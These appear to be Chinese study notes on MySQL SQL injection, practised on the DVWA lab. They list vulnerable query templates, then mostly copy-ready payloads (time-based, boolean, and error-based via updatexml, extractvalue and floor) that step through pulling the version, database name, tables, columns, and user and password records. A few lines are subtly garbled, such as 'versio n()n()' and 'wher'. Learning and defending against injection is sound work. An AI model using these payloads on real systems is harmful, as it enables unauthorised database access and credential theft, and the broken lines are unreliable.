1、在网站应用中进行数据显示查询效果 例: select * from news wher id=$id
2、insert 插入数据 在网站应用中进行用户注册添加等操作 例:insert into news(id,url,text) values(2,‘x’,’$t’)
3、delete 删除数据 后台管理里面删除文章删除用户等操作 例:delete from news where id=$id
4、update 更新数据 会员或后台中心数据同步或缓存等操作 例:update user set pwd=’$p’ where id=2 and username=‘admin’
5、order by 排列数据 一般结合表名或列名进行数据排序操作 例:select * from news order by $id 例:select id,name,price from news order by $order #总结: 这里就是增删改查,跟是上一章不一样的是,上一章是不一样的闭合方式,这里是不一样注入的方式,不同的功能的sql,在注入的语句都有一点点区别。
延迟: and sleep(1); and if(1>2,sleep(1),0); and if(1<2,sleep(1),0);
布尔: and length(database())=7; and left(database(),1)='p'; and left(database(),2)='pi'; and substr(database(),1,1)='p'; and substr(database(),2,1)='i'; and ord(left(database(),1))=112;
报错: and updatexml(1,concat(0x7e,(SELECT versio n()n()),0x7e), and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
获取数据库名
1
1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
获取数据库路径
1
1' and updatexml(1,concat(0x7e,(SELECT @@datadir),0x7e),1)--+
获取表名
1
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1) --+
获取列名
1
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) --+
获取内容
1
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) --+
1' and extractvalue(1,concat(0x7e,user(),0x7e,database()))--+
获取表名
1
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')))--+
获取列名
1
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))--+
获取数据
1
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x7e,last_name) from dvwa.users)))--+
floor报错
原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
判断有没有注入
1
1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#
获取数据库名
1
-1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x--+
获取表名
1
-1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)) x from information_schema.schemata group by x--+
获取列名
1
-1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x--+
获取数据
1 2 3
-1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user_id,0x3a,first_name) from dvwa.users limit 0,1)) x from information_schema.schemata group by x--+
-1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x--+